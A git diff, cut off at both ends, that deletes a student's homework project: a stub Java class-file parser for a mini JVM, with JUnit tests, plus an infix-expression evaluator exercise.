-import java.util.List;
-
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-
-import com.coderising.jvm.clz.ClassFile;
-
-
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		
-		className = className.replace('.', File.separatorChar) +".class";
-		
-		for(String path : this.clzPaths){
-			
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}			
-		}
-		
-		return null;
-		
-		
-		
-	}
-	
-	public void addClassPath(String path) {
-		if(this.clzPaths.contains(path)){
-			return;
-		}
-		
-		this.clzPaths.add(path);
-		
-	}
-	
-	
-	public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-
-	public ClassFile loadClass(String className) {
-		
-		return null;
-	}
-
-}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/loader/ClassFileParser.java b/group24/Homework/5-FifthWeek/jvm/loader/ClassFileParser.java
deleted file mode 100644
index a29d9572cd..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileParser {
-
-	public ClassFile parse(byte[] codes) {
-
-		
-		
-		
-		return null;
-	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-		return null;
-	}
-
-	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-
-		return null;
-
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-		return null;
-	}
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2ToInt();
-
-		System.out.println("interfaceCount:" + interfaceCount);
-
-		// TODO : 如果实现了interface, 这里需要解析
-	}
-
-	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
-		
-
-	}
-
-	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
-
-		
-
-	}
-	
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/test/ClassFileloaderTest.java b/group24/Homework/5-FifthWeek/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 657bf296f6..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,208 +0,0 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/test/EmployeeV1.java b/group24/Homework/5-FifthWeek/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/util/Util.java b/group24/Homework/5-FifthWeek/jvm/util/Util.java
deleted file mode 100644
index 0c4cc8c57c..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group24/Homework/6-SixWeek/InfixExpr.java b/group24/Homework/6-SixWeek/InfixExpr.java
deleted file mode 100644
index ef85ff007f..0000000000
--- a/group24/Homework/6-SixWeek/InfixExpr.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.coding.basic.stack.expr;
-
-public class InfixExpr {
-	String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		return 0.0f;
-	}
-	
-	
-}
diff --git a/group24/Homework/6-SixWeek/InfixExprTest.java b/group24/Homework/6-SixWeek/InfixExprTest.java
deleted file mode 100644
index 20e34e8852..0000000000
--- a/group24/Homework/6-SixWeek/InfixExprTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("10-2*3+50");
-			Assert.assertEquals(54, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-}
diff --git a/group24/Homework/6-SixWeek/README.txt b/group24/Homework/6-SixWeek/README.txt
deleted file mode 100644
index facdfabf7b..0000000000
--- a/group24/Homework/6-SixWeek/README.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-1. ʵ�ֶ�һ��.class�ļ����ֶκͷ����Ķ�ȡ �� ��������
-��Ҫʵ�ֵ�����ClassFileParser.java������ص��� ʵ�ֺ���Ҫͨ�����ԣ�ClassFileloaderTest.java
-2. ���ݽṹ�� ʵ��InfixExpr.java �� ��Ҫͨ��InfixExprTest.java
\ No newline at end of file
diff --git a/group24/Homework/6-SixWeek/jvm/attr/AttributeInfo.java b/group24/Homework/6-SixWeek/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 88f60c77f6..0000000000
--- a/group24/Homework/6-SixWeek/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group24/Homework/6-SixWeek/jvm/attr/CodeAttr.java b/group24/Homework/6-SixWeek/jvm/attr/CodeAttr.java
deleted file mode 100644
index c4c0c4c6c5..0000000000
--- a/group24/Homework/6-SixWeek/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,70 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.CommandParser;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class CodeAttr extends AttributeInfo {
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	private ByteCodeCommand[] cmds ;
-	public ByteCodeCommand[] getCmds() {		
-		return cmds;
-	}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-		for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-	}
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-		
-	}
-
-	
-	
-	
-	
-}
diff --git a/group24/Homework/6-SixWeek/jvm/attr/LineNumberTable.java b/group24/Homework/6-SixWeek/jvm/attr/LineNumberTable.java
deleted file mode 100644
index a31a1ff4d0..0000000000
--- a/group24/Homework/6-SixWeek/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Line Number Table:\n");
-		for(LineNumberItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("lineNum:"+item.getLineNum()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-		
-	}
-	
-	
-
-}
diff --git a/group24/Homework/6-SixWeek/jvm/attr/LocalVariableItem.java b/group24/Homework/6-SixWeek/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 962c3b8bc4..0000000000
--- a/group24/Homework/6-SixWeek/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group24/Homework/6-SixWeek/jvm/attr/LocalVariableTable.java b/group24/Homework/6-SixWeek/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index 14db5dca46..0000000000
--- a/group24/Homework/6-SixWeek/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo{
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-	
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-	
-	
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);		
-	}
-	
-	public static LocalVariableTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-	
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
-}
diff --git a/group24/Homework/6-SixWeek/jvm/attr/StackMapTable.java b/group24/Homework/6-SixWeek/jvm/attr/StackMapTable.java
deleted file mode 100644
index 18f2ad0360..0000000000
--- a/group24/Homework/6-SixWeek/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coderising.jvm.attr;
-
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2ToInt();
-		int len = iter.nextU4ToInt();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group24/Homework/6-SixWeek/jvm/clz/AccessFlag.java b/group24/Homework/6-SixWeek/jvm/clz/AccessFlag.java
deleted file mode 100644
index faae056835..0000000000
--- a/group24/Homework/6-SixWeek/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group24/Homework/6-SixWeek/jvm/clz/ClassFile.java b/group24/Homework/6-SixWeek/jvm/clz/ClassFile.java
deleted file mode 100644
index 2a8dfb6123..0000000000
--- a/group24/Homework/6-SixWeek/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,102 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	public void addField(Field f){
-		this.fields.add(f);
-	}
-	public List<Field> getFields(){
-		return this.fields;
-	}
-	public void addMethod(Method m){
-		this.methods.add(m);
-	}
-	public List<Method> getMethods() {
-		return methods;
-	}
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	public String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	public String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-	
-	public Method getMethod(String methodName, String paramAndReturnType){
-		
-		
-		return null;
-	}
-	public Method getMainMethod(){
-		
-		return null;
-	}
-}
diff --git a/group24/Homework/6-SixWeek/jvm/clz/ClassIndex.java b/group24/Homework/6-SixWeek/jvm/clz/ClassIndex.java
deleted file mode 100644
index e424f284b3..0000000000
--- a/group24/Homework/6-SixWeek/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group24/Homework/6-SixWeek/jvm/constant/ClassInfo.java b/group24/Homework/6-SixWeek/jvm/constant/ClassInfo.java
deleted file mode 100644
index c8e65ff493..0000000000
--- a/group24/Homework/6-SixWeek/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);		
-	}
-}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/ConstantInfo.java b/group24/Homework/6-SixWeek/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 88353df2d3..0000000000
--- a/group24/Homework/6-SixWeek/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-	public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
-}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/ConstantPool.java b/group24/Homework/6-SixWeek/jvm/constant/ConstantPool.java
deleted file mode 100644
index 7130eb3a9f..0000000000
--- a/group24/Homework/6-SixWeek/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public int getSize() {		
-		return this.constantInfos.size() -1;
-	}
-	
-	
-}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/FieldRefInfo.java b/group24/Homework/6-SixWeek/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 7ae71396ef..0000000000
--- a/group24/Homework/6-SixWeek/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
